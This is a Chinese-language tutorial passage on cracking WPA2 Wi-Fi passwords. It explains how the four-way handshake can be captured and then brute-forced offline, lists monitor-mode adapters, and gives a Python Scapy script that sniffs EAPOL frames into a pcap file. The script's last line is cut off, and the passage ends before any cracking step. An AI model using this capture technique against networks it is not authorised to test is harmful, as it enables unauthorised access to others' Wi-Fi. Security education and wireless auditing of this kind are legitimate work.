前言:WPA2 协议的安全隐患
WPA2 协议看似坚固,但存在设计逻辑缺陷。设备连接路由器时,必须进行'四次握手' (4-Way Handshake) 来验证密码。这个过程是公开广播的。
攻击者只需监听这四次握手的数据包,将其保存后,即可在本地使用字典尝试计算哈希值,直到匹配成功。
攻防逻辑流程:
- 请求连接
- 发送随机数 Anonce
- 发送随机数 Snonce + MIC (关键)
- 确认
抓取握手包 -> 跑字典/暴力破解 -> 得出明文密码
准备工作
- 硬件:需要支持监听模式 (Monitor Mode) 的无线网卡(如 RTL8812AU, AR9271 等)。
- 环境:Kali Linux 或 Ubuntu。
- 依赖:
pip install scapy
第一步:编写 Python 嗅探器抓取 EAPOL 包
WPA2 的握手包在网络协议中被称为 EAPOL (Extensible Authentication Protocol over LAN)。利用 Scapy 过滤出这种包。
核心代码 (sniffer.py):
from scapy.all import *
import sys
# 设置要监听的网卡 (通常是 wlan0mon)
IFACE = "wlan0mon"
print(f"[*] 正在监听 {IFACE} 上的握手包...")
def packet_handler(pkt):
# 过滤 EAPOL 协议的包
if pkt.haslayer(EAPOL):
# EAPOL 包通常在 802.11 帧中
if pkt.haslayer(Dot11):
# 获取发送方和接收方的 MAC 地址
addr1 = pkt.addr1 # 接收方 (Destination)
addr2 = pkt.addr2 # 发送方 (Source)
print(f"[+] 捕获 EAPOL 包:{addr2} -> {addr1}")
# 将包保存到本地 pcap 文件
wrpcap("handshake.pcap", pkt, append=True)
# 开始嗅探
sniff(iface=IFACE, prn=packet_handler, store=)


